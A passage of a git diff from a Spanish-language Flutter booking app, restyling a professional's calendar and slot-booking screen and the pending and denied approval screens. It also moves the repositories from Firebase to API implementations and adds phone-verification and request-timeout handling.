setState(() {
_services = services;
});
});
.then((services) => setState(() => _services = services));
}
void _onDaySelected(DateTime day, DateTime focusedDay) {
@@ -76,86 +66,39 @@ class _ProfessionalCalendarScreenState extends State<ProfessionalCalendarScreen>
});
}
void _onFormatChange(CalendarFormat format) {
setState(() {
_calendarFormat = format;
});
}
@override
Widget build(BuildContext context) {
DateTime lastDay = today.add(const Duration(days: 365));
final schedule = _scheduleFromDay(numDay);
final slots = _buildSlots(schedule);
final occupied =
slots.where((t) => _isOccupied(t, _services, today)).length;
final available = slots.length - occupied;
return Scaffold(
backgroundColor: context.bg,
appBar: AppBar(
title: const Text('Calendario'),
backgroundColor: _kPrimary,
foregroundColor: Colors.white,
elevation: 0,
),
floatingActionButtonLocation: kIsWeb
? FloatingActionButtonLocation.startFloat
: FloatingActionButtonLocation.endFloat,
resizeToAvoidBottomInset: false,
body: BlocProvider<ServiceBloc>(
create: (context) => Injector.appInstance.get<ServiceBloc>(),
child: BlocConsumer<ServiceBloc, ServiceState>(
listener: (context, serviceState) {
if (serviceState is CreateServiceLoading) {
isLoading = true;
}
if (serviceState is CreateServiceFailure) {
isLoading = false;
}
listener: (context, state) {
if (state is CreateServiceLoading) isLoading = true;
if (state is CreateServiceFailure) isLoading = false;
},
builder: (context, state) {
return Column(
return ListView(
padding: const EdgeInsets.only(bottom: 32),
children: [
Container(
color: const Color.fromARGB(255, 224, 247, 255),
child: TableCalendar(
locale: 'es_MX',
firstDay: DateTime.now(),
lastDay: lastDay,
focusedDay: today,
availableGestures: AvailableGestures.all,
onDaySelected: _onDaySelected,
selectedDayPredicate: (day) => isSameDay(day, today),
calendarFormat: _calendarFormat,
onFormatChanged: _onFormatChange,
availableCalendarFormats: const {
CalendarFormat.month: 'Mes',
CalendarFormat.week: 'Semana',
CalendarFormat.twoWeeks: '2 Semanas',
},
),
),
SizedBox(
width: double.infinity,
child: Padding(
padding:
const EdgeInsets.symmetric(horizontal: 15, vertical: 8),
child: Text(
DateFormat('dd MMMM yyyy', 'es').format(today),
style: const TextStyle(
color: Colors.black,
fontSize: 16,
fontWeight: FontWeight.w600,
),
),
),
),
const Divider(
height: 0,
),
Expanded(
child: SingleChildScrollView(
padding: const EdgeInsets.only(bottom: 15),
child: Column(
children: [
..._rangesItems(
_getScheduleFromNumDay(numDay), context),
],
),
),
)
_calendarCard(context),
_dayHeader(context, schedule, slots.length, occupied, available),
if (slots.isEmpty)
_emptyState(context)
else
..._slotCards(context, slots, state),
],
);
},
@@ -164,244 +107,400 @@ class _ProfessionalCalendarScreenState extends State<ProfessionalCalendarScreen>
);
}
ScheduleEntity? _getScheduleFromNumDay(int numDay) {
switch (numDay) {
case 1:
return widget.userProfessional.schedules.monday;
case 2:
return widget.userProfessional.schedules.tuesday;
case 3:
return widget.userProfessional.schedules.wednesday;
case 4:
return widget.userProfessional.schedules.thursday;
case 5:
return widget.userProfessional.schedules.friday;
case 6:
return widget.userProfessional.schedules.saturday;
case 7:
return widget.userProfessional.schedules.sunday;
default:
return null;
Widget _calendarCard(BuildContext context) {
return Container(
margin: const EdgeInsets.fromLTRB(16, 16, 16, 0),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(16),
boxShadow: [
BoxShadow(
color: context.shadow,
blurRadius: 16,
offset: const Offset(0, 4))
],
),
child: ClipRRect(
borderRadius: BorderRadius.circular(16),
child: TableCalendar(
locale: 'es_MX',
firstDay: DateTime.now(),
lastDay: today.add(const Duration(days: 365)),
focusedDay: today,
availableGestures: AvailableGestures.all,
onDaySelected: _onDaySelected,
selectedDayPredicate: (day) => isSameDay(day, today),
calendarFormat: _calendarFormat,
onFormatChanged: (f) => setState(() => _calendarFormat = f),
availableCalendarFormats: const {
CalendarFormat.month: 'Mes',
CalendarFormat.week: 'Semana',
CalendarFormat.twoWeeks: '2 Semanas',
},
calendarStyle: CalendarStyle(
todayDecoration: BoxDecoration(
border: Border.all(color: _kPrimary, width: 2),
shape: BoxShape.circle),
todayTextStyle: const TextStyle(
color: _kPrimary, fontWeight: FontWeight.w700),
selectedDecoration: const BoxDecoration(
color: _kPrimary, shape: BoxShape.circle),
selectedTextStyle: const TextStyle(
color: Colors.white, fontWeight: FontWeight.w700),
weekendTextStyle: TextStyle(color: Colors.red.shade400),
defaultTextStyle: TextStyle(color: context.onSurface),
outsideDaysVisible: false,
),
headerStyle: HeaderStyle(
formatButtonDecoration: BoxDecoration(
border: Border.all(color: _kPrimary.withOpacity(0.4)),
borderRadius: BorderRadius.circular(8),
),
formatButtonTextStyle:
const TextStyle(color: _kPrimary, fontSize: 12),
titleCentered: true,
titleTextStyle: TextStyle(
fontSize: 15,
fontWeight: FontWeight.w700,
color: context.onSurface),
leftChevronIcon:
const Icon(Icons.chevron_left, color: _kPrimary),
rightChevronIcon:
const Icon(Icons.chevron_right, color: _kPrimary),
),
daysOfWeekStyle: DaysOfWeekStyle(
weekdayStyle: TextStyle(
fontSize: 12,
fontWeight: FontWeight.w600,
color: context.muted),
weekendStyle: const TextStyle(
fontSize: 12,
fontWeight: FontWeight.w600,
color: Color(0xFFEF4444)),
),
),
),
);
}
Widget _dayHeader(BuildContext context, ScheduleEntity? schedule, int total,
int occupied, int available) {
final dayName = DateFormat('EEEE', 'es').format(today);
final dateStr = DateFormat('d MMMM yyyy', 'es').format(today);
final hasSchedule = schedule != null && schedule.enabled && total > 0;
return Container(
margin: const EdgeInsets.fromLTRB(16, 12, 16, 0),
padding: const EdgeInsets.fromLTRB(16, 14, 16, 14),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(16),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 12,
offset: const Offset(0, 2))
],
),
child: Row(children: [
Container(
width: 48,
height: 52,
decoration:
BoxDecoration(color: _kPrimary, borderRadius: BorderRadius.circular(12)),
child: Column(mainAxisAlignment: MainAxisAlignment.center, children: [
Text(DateFormat('d').format(today),
style: const TextStyle(
color: Colors.white,
fontSize: 20,
fontWeight: FontWeight.w800,
height: 1)),
Text(DateFormat('MMM', 'es').format(today).toUpperCase(),
style: const TextStyle(
color: Colors.white70,
fontSize: 10,
fontWeight: FontWeight.w600)),
]),
),
const SizedBox(width: 14),
Expanded(
child: Column(crossAxisAlignment: CrossAxisAlignment.start, children: [
Text(_capitalize(dayName),
style: TextStyle(
fontSize: 16,
fontWeight: FontWeight.w700,
color: context.onSurface)),
Text(dateStr, style: TextStyle(fontSize: 12, color: context.subtle)),
]),
),
if (hasSchedule) ...[
_StatPill(label: '$occupied', sublabel: 'ocupadas', color: _kOccupied),
const SizedBox(width: 8),
_StatPill(
label: '$available', sublabel: 'libres', color: _kAvailable),
],
]),
);
}
List<Widget> _slotCards(
BuildContext context, List<TimeOfDay> slots, ServiceState state) {
return slots.map((time) {
final occ = _isOccupied(time, _services, today);
final color = occ ? _kOccupied : _kAvailable;
return Container(
margin: const EdgeInsets.fromLTRB(16, 8, 16, 0),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(14),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 8,
offset: const Offset(0, 2))
],
),
child: ClipRRect(
borderRadius: BorderRadius.circular(14),
child: InkWell(
onTap: () => occ ? _onOccupied(time) : _onAvailable(context, time, state),
child: IntrinsicHeight(
child: Row(children: [
Container(width: 4, color: color),
Expanded(
child: Padding(
padding: const EdgeInsets.symmetric(
horizontal: 14, vertical: 12),
child: Row(children: [
Container(
padding: const EdgeInsets.symmetric(
horizontal: 12, vertical: 6),
decoration: BoxDecoration(
color: color.withOpacity(0.08),
borderRadius: BorderRadius.circular(8)),
child: Text(
ScheduleEntity.getFormatTime(time) ?? '',
style: TextStyle(
fontSize: 15,
fontWeight: FontWeight.w800,
color: color),
),
),
const SizedBox(width: 14),
Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(occ ? 'Ocupado' : 'Disponible',
style: TextStyle(
fontSize: 14,
fontWeight: FontWeight.w700,
color: color)),
Text(
occ
? 'Toca para ver el servicio'
: 'Horario libre · toca para reservar',
style: TextStyle(
fontSize: 11, color: context.subtle),
),
],
),
),
Container(
width: 32,
height: 32,
decoration: BoxDecoration(
color: color.withOpacity(0.1),
shape: BoxShape.circle),
child: Icon(
occ
? Icons.event_busy_outlined
: Icons.event_available_outlined,
size: 17,
color: color),
),
]),
),
),
]),
),
),
),
);
}).toList();
}
void _onOccupied(TimeOfDay time) {
if (_services == null) return;
for (final event in _services!) {
if (today.toString() == event.day && time == event.range1Hour1) {
if (event.userId == event.professionalId) {
ScaffoldMessenger.of(context).clearSnackBars();
ScaffoldMessenger.of(context)
.showSnackBar(const SnackBar(content: Text('Horario ocupado por ti')));
} else {
Navigator.push(
context,
CupertinoPageRoute(
builder: (_) =>
ProfessionalServiceScreen(serviceId: event.id!)),
);
}
return;
}
}
}
List<Widget> _rangesItems(ScheduleEntity? schedule, BuildContext context) {
if (schedule == null ||
schedule.enabled == false ||
schedule.range1Hour1 == null ||
schedule.range2Hour2 == null) {
return [
const Padding(
padding: EdgeInsets.symmetric(vertical: 25),
child: Text("No hay horarios disponibles"),
)
];
}
if (schedule.continuousDay) {
List<TimeOfDay> ranges = TimeOfDayUtils.genRanges(
schedule.range1Hour1!,
schedule.range2Hour2!,
);
return rangesItemList(ranges, _services, today, context);
}
List<TimeOfDay> ranges1 = TimeOfDayUtils.genRanges(
schedule.range1Hour1!,
schedule.range1Hour2!,
);
List<TimeOfDay> ranges2 = TimeOfDayUtils.genRanges(
schedule.range2Hour1!,
schedule.range2Hour2!,
void _onAvailable(BuildContext context, TimeOfDay time, ServiceState state) {
showDialog(
context: context,
builder: (dialogContext) => AlertDialog(
title: const Text('Reservar hora'),
content: Column(mainAxisSize: MainAxisSize.min, children: [
Text(
'¿Reservar a las ${ScheduleEntity.getFormatTime(time)} '
'del ${DateFormat('dd-MM-yyyy').format(today)}?',
),
const SizedBox(height: 10),
const Text('⚠️ Esta acción no se puede deshacer',
style: TextStyle(fontWeight: FontWeight.bold)),
]),
actions: [
TextButton(
onPressed: () => Navigator.pop(dialogContext),
child: const Text('Cancelar'),
),
TextButton(
onPressed: () {
Navigator.pop(dialogContext);
Navigator.pop(context);
context.read<ServiceBloc>().add(CreateService(
professionalId: widget.userProfessional.id,
userId: widget.userProfessional.id,
address: widget.userProfessional.address,
aditionalAddress: '',
latitude: 0,
longitude: 0,
day: today.toString(),
createdAt: DateTime.now().toIso8601String(),
description: '',
range1Hour1: time,
range1Hour2: time.replacing(hour: time.hour + 2),
rate: '0',
location: ServiceLocationPreferences.office,
status: ServiceStatus.selfBooked,
));
},
child: const Text('Reservar'),
),
],
),
);
}
Widget _emptyState(BuildContext context) {
return Container(
margin: const EdgeInsets.fromLTRB(16, 12, 16, 0),
padding: const EdgeInsets.symmetric(vertical: 40, horizontal: 24),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(16),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 12,
offset: const Offset(0, 2))
],
),
child: Column(children: [
Container(
width: 64,
height: 64,
decoration: BoxDecoration(
color: context.subtle.withOpacity(0.1), shape: BoxShape.circle),
child: Icon(Icons.event_busy_outlined, size: 32, color: context.subtle),
),
const SizedBox(height: 16),
Text('Sin horario este día',
style: TextStyle(
fontSize: 15, fontWeight: FontWeight.w700, color: context.muted)),
const SizedBox(height: 6),
Text(
'No tienes horario de atención configurado\npara este día de la semana.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 13, color: context.subtle, height: 1.5)),
]),
);
}
ScheduleEntity? _scheduleFromDay(int day) {
switch (day) {
case 1: return widget.userProfessional.schedules.monday;
case 2: return widget.userProfessional.schedules.tuesday;
case 3: return widget.userProfessional.schedules.wednesday;
case 4: return widget.userProfessional.schedules.thursday;
case 5: return widget.userProfessional.schedules.friday;
case 6: return widget.userProfessional.schedules.saturday;
default: return widget.userProfessional.schedules.sunday;
}
}
List<TimeOfDay> _buildSlots(ScheduleEntity? s) {
if (s == null || !s.enabled || s.range1Hour1 == null || s.range2Hour2 == null) {
return [];
}
if (s.continuousDay) {
return TimeOfDayUtils.genRanges(s.range1Hour1!, s.range2Hour2!);
}
if (s.range1Hour2 == null || s.range2Hour1 == null) return [];
return [
...rangesItemList(ranges1, _services, today, context),
...rangesItemList(ranges2, _services, today, context),
...TimeOfDayUtils.genRanges(s.range1Hour1!, s.range1Hour2!),
...TimeOfDayUtils.genRanges(s.range2Hour1!, s.range2Hour2!),
];
}
bool _isHora1Ocupada(
TimeOfDay hora1, List<ServiceEntity>? events, DateTime selectedDay) {
if (events != null) {
for (ServiceEntity event in events) {
if (selectedDay.toString() == event.day) {
if (hora1 == event.range1Hour1) {
return true;
}
}
}
}
return false;
bool _isOccupied(
TimeOfDay time, List<ServiceEntity>? services, DateTime day) {
if (services == null) return false;
return services
.any((s) => day.toString() == s.day && s.range1Hour1 == time);
}
List<Widget> rangesItemList(List<TimeOfDay> ranges, List<ServiceEntity>? events, DateTime selectedDay, BuildContext context) {
return ranges.map((time) {
if (_isHora1Ocupada(time, events, selectedDay)) {
return Card(
elevation: 4,
margin: const EdgeInsets.symmetric(vertical: 5, horizontal: 10),
shape: RoundedRectangleBorder(
borderRadius: BorderRadius.circular(10),
),
child: ListTile(
onTap: () {
if (events != null) {
for (ServiceEntity event in events) {
if (selectedDay.toString() == event.day) {
if (time == event.range1Hour1) {
if (event.userId == event.professionalId) {
ScaffoldMessenger.of(context).clearSnackBars();
ScaffoldMessenger.of(context)
.showSnackBar(const SnackBar(
content: Text('Horario ocupado por ti'),
));
} else {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) => ProfessionalServiceScreen(
serviceId: event.id!,
),
),
);
}
}
}
}
}
},
contentPadding: const EdgeInsets.all(16),
leading: Container(
width: 40,
height: 40,
decoration: const BoxDecoration(
gradient: LinearGradient(
colors: [Colors.yellow, Colors.red, Colors.red],
begin: Alignment.topLeft,
end: Alignment.bottomRight,
),
shape: BoxShape.circle,
),
child: const Center(
child: Icon(
Icons.access_time,
color: Colors.white,
),
),
),
title: Text(
ScheduleEntity.getFormatTime(time) ?? '',
style: const TextStyle(fontSize: 15, fontWeight: FontWeight.bold),
),
subtitle: const Text(
'Ocupado',
style: TextStyle(
color: Colors.red, fontSize: 13, fontWeight: FontWeight.bold),
),
),
);
} else {
return Card(
elevation: 4,
margin: const EdgeInsets.symmetric(vertical: 5, horizontal: 10),
shape: RoundedRectangleBorder(
borderRadius: BorderRadius.circular(10),
),
child: ListTile(
onTap: () {
showDialog(
context: context,
builder: (BuildContext dialogContext) {
return AlertDialog(
title: const Text('Reservar hora'),
content: Column(
mainAxisSize: MainAxisSize.min,
children: [
Text(
'¿Estás seguro de que deseas reservar a las ${ScheduleEntity.getFormatTime(time)} del ${DateFormat('dd-MM-yyyy').format(today)}?',
),
const SizedBox(height: 10),
const Text(
'⚠️ Esta accion no se puede deshacer ⚠️',
style: TextStyle(fontWeight: FontWeight.bold),
),
],
),
actions: [
TextButton(
onPressed: () {
Navigator.pop(dialogContext);
},
child: const Text('No, cancelar'),
),
TextButton(
onPressed: () {
Navigator.pop(dialogContext);
String _capitalize(String s) =>
s.isEmpty ? s : s[0].toUpperCase() + s.substring(1);
}
Navigator.pop(context);
class _StatPill extends StatelessWidget {
final String label;
final String sublabel;
final Color color;
const _StatPill(
{required this.label, required this.sublabel, required this.color});
context.read<ServiceBloc>().add(
CreateService(
professionalId: widget.userProfessional.id,
userId: widget.userProfessional.id,
address: widget.userProfessional.address,
aditionalAddress: '',
latitude: 0,
longitude: 0,
day: today.toString(),
createdAt: DateTime.now().toIso8601String(),
description: '',
range1Hour1: time,
range1Hour2: time.add(hour: 2),
rate: '0',
location: ServiceLocationPreferences.office,
status: ServiceStatus.selfBooked,
),
);
},
child: const Text('Si, reservar'),
),
],
);
},
);
},
contentPadding: const EdgeInsets.all(16),
leading: Container(
width: 40,
height: 40,
decoration: const BoxDecoration(
gradient: LinearGradient(
colors: [Colors.blue, Colors.green],
begin: Alignment.topLeft,
end: Alignment.bottomRight,
),
shape: BoxShape.circle,
),
child: const Center(
child: Icon(
Icons.access_time,
color: Colors.white,
),
),
),
title: Text(
ScheduleEntity.getFormatTime(time) ?? '',
style: const TextStyle(fontSize: 15, fontWeight: FontWeight.bold),
),
subtitle: const Text(
'Disponible',
style: TextStyle(
color: Colors.green,
fontSize: 13,
fontWeight: FontWeight.bold,
),
),
),
);
}
}).toList();
@override
Widget build(BuildContext context) {
return Container(
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 6),
decoration: BoxDecoration(
color: color.withOpacity(0.08),
borderRadius: BorderRadius.circular(8),
border: Border.all(color: color.withOpacity(0.25)),
),
child: Column(mainAxisSize: MainAxisSize.min, children: [
Text(label,
style: TextStyle(
fontSize: 16,
fontWeight: FontWeight.w800,
color: color,
height: 1)),
Text(sublabel,
style: TextStyle(
fontSize: 9,
color: color.withOpacity(0.8),
fontWeight: FontWeight.w600)),
]),
);
}
}
@@ -1,4 +1,6 @@
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:prosappco/blocs/authentication_bloc/authentication_bloc.dart';
class ProfessionalDeniedScreen extends StatelessWidget {
const ProfessionalDeniedScreen({super.key});
@@ -6,8 +8,114 @@ class ProfessionalDeniedScreen extends StatelessWidget {
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(title: const Text('Perfil profesional')),
body: const Center(child: Text('Cuenta denegada')),
body: SafeArea(
child: SingleChildScrollView(
padding: const EdgeInsets.symmetric(horizontal: 28, vertical: 40),
child: Column(
crossAxisAlignment: CrossAxisAlignment.center,
children: [
Container(
width: 88,
height: 88,
decoration: BoxDecoration(
color: const Color(0xFFFFEBEE),
shape: BoxShape.circle,
),
child: const Icon(Icons.cancel_outlined, color: Color(0xFFE53935), size: 48),
),
const SizedBox(height: 24),
const Text(
'Solicitud rechazada',
style: TextStyle(fontSize: 22, fontWeight: FontWeight.bold, color: Color(0xFF1A1A2E)),
textAlign: TextAlign.center,
),
const SizedBox(height: 12),
const Text(
'Tu solicitud para convertirte en profesional no fue aprobada. Esto puede deberse a información incompleta o documentación no válida.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 14, color: Colors.grey, height: 1.5),
),
const SizedBox(height: 32),
Container(
width: double.infinity,
padding: const EdgeInsets.all(20),
decoration: BoxDecoration(
color: const Color(0xFFFFF3E0),
borderRadius: BorderRadius.circular(16),
border: Border.all(color: const Color(0xFFFFCC02).withOpacity(0.4)),
),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: const [
Row(
children: [
Icon(Icons.info_outline, color: Color(0xFFF57C00), size: 20),
SizedBox(width: 8),
Text('¿Qué puedo hacer?', style: TextStyle(fontWeight: FontWeight.w600, color: Color(0xFFF57C00))),
],
),
SizedBox(height: 12),
_BulletPoint(text: 'Verifica que todos tus datos sean correctos'),
_BulletPoint(text: 'Asegúrate de haber adjuntado los documentos requeridos'),
_BulletPoint(text: 'Vuelve a registrarte como profesional con la información actualizada'),
_BulletPoint(text: 'Contacta a soporte si crees que fue un error'),
],
),
),
const SizedBox(height: 32),
SizedBox(
width: double.infinity,
child: ElevatedButton.icon(
onPressed: () => Navigator.of(context).pop(),
icon: const Icon(Icons.refresh),
label: const Text('Volver a registrarme'),
style: ElevatedButton.styleFrom(
backgroundColor: const Color(0xFF42A4EF),
foregroundColor: Colors.white,
padding: const EdgeInsets.symmetric(vertical: 16),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
elevation: 0,
),
),
),
const SizedBox(height: 12),
SizedBox(
width: double.infinity,
child: OutlinedButton.icon(
onPressed: () => context.read<AuthenticationBloc>().add(AuthenticationLogoutRequested()),
icon: const Icon(Icons.logout),
label: const Text('Cerrar sesión'),
style: OutlinedButton.styleFrom(
foregroundColor: Colors.grey,
padding: const EdgeInsets.symmetric(vertical: 14),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
side: const BorderSide(color: Colors.grey),
),
),
),
],
),
),
),
);
}
}
class _BulletPoint extends StatelessWidget {
final String text;
const _BulletPoint({required this.text});
@override
Widget build(BuildContext context) {
return Padding(
padding: const EdgeInsets.only(bottom: 6),
child: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
const Text('', style: TextStyle(color: Color(0xFFF57C00), fontWeight: FontWeight.bold)),
Expanded(child: Text(text, style: const TextStyle(fontSize: 13, color: Color(0xFF5D4037)))),
],
),
);
}
}
@@ -1,77 +1,100 @@
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:prosappco/blocs/authentication_bloc/authentication_bloc.dart';
class ProfessionalPendingScreen extends StatelessWidget {
const ProfessionalPendingScreen({Key? key}) : super(key: key);
const ProfessionalPendingScreen({super.key});
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(title: const Text('Perfil profesional')),
body: SingleChildScrollView(
child: Padding(
padding: const EdgeInsets.only(top: 40),
body: SafeArea(
child: SingleChildScrollView(
padding: const EdgeInsets.symmetric(horizontal: 28, vertical: 40),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.center,
children: [
const Row(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Icon(
Icons.access_time,
color: Color(0xFF2BA4EC),
),
SizedBox(width: 8),
Text(
'Información en revisión',
style: TextStyle(
color: Color(0xFF2BA4EC),
fontSize: 17,
fontWeight: FontWeight.w500,
),
),
],
),
Image(
image: const AssetImage('images/checklist.gif'),
width: MediaQuery.of(context).size.width * 0.7,
),
Container(
margin: const EdgeInsets.only(left: 40, right: 40, top: 20),
width: 88,
height: 88,
decoration: BoxDecoration(
color: const Color(0xFFD6F4FF),
borderRadius: BorderRadius.circular(30),
boxShadow: [
BoxShadow(
color: Colors.grey.withOpacity(0.5),
spreadRadius: 2,
blurRadius: 5,
offset: const Offset(0, 3),
),
],
color: const Color(0xFFE3F2FD),
shape: BoxShape.circle,
),
padding:
const EdgeInsets.symmetric(vertical: 15, horizontal: 25),
child: Column(
children: [
SizedBox(
width: MediaQuery.of(context).size.width * 0.8,
child: const Column(
children: [
Text(
'Gracias por proporcionar tu información. Actualmente, estamos revisando tus datos y una vez aprobados, podrás acceder al perfil profesional sin problemas. Te notificaremos tan pronto como tu cuenta esté lista.',
style: TextStyle(fontSize: 14),
),
SizedBox(height: 10),
Text(
'¡Gracias por tu paciencia!',
style: TextStyle(fontSize: 14),
),
],
child: const Icon(Icons.hourglass_top_rounded, color: Color(0xFF42A4EF), size: 48),
),
const SizedBox(height: 24),
const Text(
'Solicitud en revisión',
style: TextStyle(fontSize: 22, fontWeight: FontWeight.bold, color: Color(0xFF1A1A2E)),
textAlign: TextAlign.center,
),
const SizedBox(height: 12),
const Text(
'Recibimos tu información y la estamos revisando. Te notificaremos en cuanto tu perfil profesional sea aprobado.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 14, color: Colors.grey, height: 1.5),
),
const SizedBox(height: 32),
_StepCard(
step: '1',
icon: Icons.upload_file_outlined,
title: 'Información enviada',
subtitle: 'Recibimos tu solicitud y documentos',
done: true,
),
const SizedBox(height: 12),
_StepCard(
step: '2',
icon: Icons.manage_search_outlined,
title: 'En revisión',
subtitle: 'Nuestro equipo está verificando tus datos',
active: true,
),
const SizedBox(height: 12),
_StepCard(
step: '3',
icon: Icons.verified_outlined,
title: 'Aprobación',
subtitle: 'Recibirás una notificación cuando esté listo',
),
const SizedBox(height: 36),
Container(
width: double.infinity,
padding: const EdgeInsets.all(16),
decoration: BoxDecoration(
color: const Color(0xFFF5F8FF),
borderRadius: BorderRadius.circular(12),
border: Border.all(color: const Color(0xFFBBDEFB)),
),
child: Row(
children: const [
Icon(Icons.notifications_active_outlined, color: Color(0xFF42A4EF)),
SizedBox(width: 12),
Expanded(
child: Text(
'Asegúrate de tener las notificaciones activas para recibir el aviso de aprobación.',
style: TextStyle(fontSize: 13, color: Color(0xFF1565C0)),
),
),
],
),
),
const SizedBox(height: 32),
SizedBox(
width: double.infinity,
child: OutlinedButton.icon(
onPressed: () => context.read<AuthenticationBloc>().add(AuthenticationLogoutRequested()),
icon: const Icon(Icons.logout),
label: const Text('Cerrar sesión'),
style: OutlinedButton.styleFrom(
foregroundColor: Colors.grey,
padding: const EdgeInsets.symmetric(vertical: 14),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
side: const BorderSide(color: Colors.grey),
),
),
),
],
),
),
@@ -79,3 +102,74 @@ class ProfessionalPendingScreen extends StatelessWidget {
);
}
}
class _StepCard extends StatelessWidget {
final String step;
final IconData icon;
final String title;
final String subtitle;
final bool done;
final bool active;
const _StepCard({
required this.step,
required this.icon,
required this.title,
required this.subtitle,
this.done = false,
this.active = false,
});
@override
Widget build(BuildContext context) {
final Color bg = done
? const Color(0xFFE8F5E9)
: active
? const Color(0xFFE3F2FD)
: const Color(0xFFF5F5F5);
final Color iconColor = done
? const Color(0xFF43A047)
: active
? const Color(0xFF42A4EF)
: Colors.grey;
final Color borderColor = done
? const Color(0xFFA5D6A7)
: active
? const Color(0xFF90CAF9)
: const Color(0xFFE0E0E0);
return Container(
padding: const EdgeInsets.symmetric(horizontal: 16, vertical: 14),
decoration: BoxDecoration(
color: bg,
borderRadius: BorderRadius.circular(12),
border: Border.all(color: borderColor),
),
child: Row(
children: [
Container(
width: 40,
height: 40,
decoration: BoxDecoration(
color: done ? const Color(0xFF43A047) : active ? const Color(0xFF42A4EF) : Colors.grey.shade300,
shape: BoxShape.circle,
),
child: done
? const Icon(Icons.check, color: Colors.white, size: 20)
: Icon(icon, color: active ? Colors.white : Colors.grey, size: 20),
),
const SizedBox(width: 14),
Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(title, style: TextStyle(fontWeight: FontWeight.w600, color: iconColor)),
Text(subtitle, style: const TextStyle(fontSize: 12, color: Colors.grey)),
],
),
),
],
),
);
}
}
File diff suppressed because it is too large Load Diff
@@ -1,5 +1,4 @@
library chat_repository;
export 'src/entities/entities.dart';
export 'src/repositories/firebase_chat_repository.dart';
export 'src/repositories/api_chat_repository.dart';
@@ -3,5 +3,4 @@ library city_repository;
export 'src/models/models.dart';
export 'src/entities/entities.dart';
export 'src/repositories/city_repo.dart';
export 'src/repositories/firebase_city_repository.dart';
export 'src/repositories/api_city_repository.dart';
@@ -3,5 +3,4 @@ library profession_repository;
export 'src/models/models.dart';
export 'src/entities/entities.dart';
export 'src/repositories/profession_repo.dart';
export 'src/repositories/firebase_profession_repository.dart';
export 'src/repositories/api_profession_repository.dart';
@@ -2,5 +2,4 @@ library professional_repository;
export 'src/models/models.dart';
export 'src/entities/entities.dart';
export 'src/repositories/firebase_professional_repository.dart';
export 'src/repositories/api_professional_repository.dart';
@@ -1,5 +1,4 @@
library score_repository;
export 'src/entities/entities.dart';
export 'src/repositories/firebase_score_repository.dart';
export 'src/repositories/api_score_repository.dart';
@@ -2,5 +2,4 @@ library service_repository;
export 'src/entities/entities.dart';
export 'src/models/models.dart';
export 'src/repositories/firebase_service_repository.dart';
export 'src/repositories/api_service_repository.dart';
@@ -2,5 +2,4 @@ library setting_repository;
export 'src/entities/entities.dart';
export 'src/repositories/setting_repo.dart';
export 'src/repositories/firebase_setting_repository.dart';
export 'src/repositories/api_setting_repository.dart';
@@ -13,6 +13,7 @@ class MyUser extends Equatable {
final String? gender;
final ProState proState;
final String? token;
final bool isPhoneVerified;
const MyUser({
required this.id,
@@ -26,6 +27,7 @@ class MyUser extends Equatable {
this.gender,
required this.proState,
this.token,
this.isPhoneVerified = false,
});
get drawerLabel => email != null && email!.isNotEmpty
@@ -47,6 +49,7 @@ class MyUser extends Equatable {
gender: '',
proState: ProState.inactive,
token: '',
isPhoneVerified: false,
);
/// Modify MyUser parameters
@@ -62,6 +65,7 @@ class MyUser extends Equatable {
String? gender,
ProState? proState,
String? token,
bool? isPhoneVerified,
}) {
return MyUser(
id: id ?? this.id,
@@ -75,6 +79,7 @@ class MyUser extends Equatable {
gender: gender ?? this.gender,
proState: proState ?? this.proState,
token: token ?? this.token,
isPhoneVerified: isPhoneVerified ?? this.isPhoneVerified,
);
}
@@ -129,5 +134,6 @@ class MyUser extends Equatable {
gender,
proState,
token,
isPhoneVerified,
];
}
@@ -16,6 +16,7 @@ class ApiUserRepository implements UserRepository {
final _controller = StreamController<MyUser?>.broadcast();
MyUser? _current;
String? _token;
String? _pendingOtpPhone;
Future<String?> _getToken() async {
if (_token != null) return _token;
@@ -31,20 +32,27 @@ class ApiUserRepository implements UserRepository {
};
}
static const _timeout = Duration(seconds: 20);
Future<dynamic> _get(String path) async {
final res = await http.get(Uri.parse('$_base$path'), headers: await _headers());
final res = await http.get(Uri.parse('$_base$path'), headers: await _headers()).timeout(_timeout);
return jsonDecode(res.body);
}
Future<dynamic> _post(String path, Map<String, dynamic> body, {bool auth = false}) async {
final h = await _headers();
if (!auth) h.remove('Authorization');
final res = await http.post(Uri.parse('$_base$path'), headers: h, body: jsonEncode(body));
return jsonDecode(res.body);
final res = await http.post(Uri.parse('$_base$path'), headers: h, body: jsonEncode(body)).timeout(_timeout);
final data = jsonDecode(res.body);
if (res.statusCode >= 400) {
final msg = (data is Map ? data['message'] : null) ?? 'Error del servidor';
throw Exception(msg);
}
return data;
}
Future<dynamic> _patch(String path, Map<String, dynamic> body) async {
final res = await http.patch(Uri.parse('$_base$path'), headers: await _headers(), body: jsonEncode(body));
final res = await http.patch(Uri.parse('$_base$path'), headers: await _headers(), body: jsonEncode(body)).timeout(_timeout);
return jsonDecode(res.body);
}
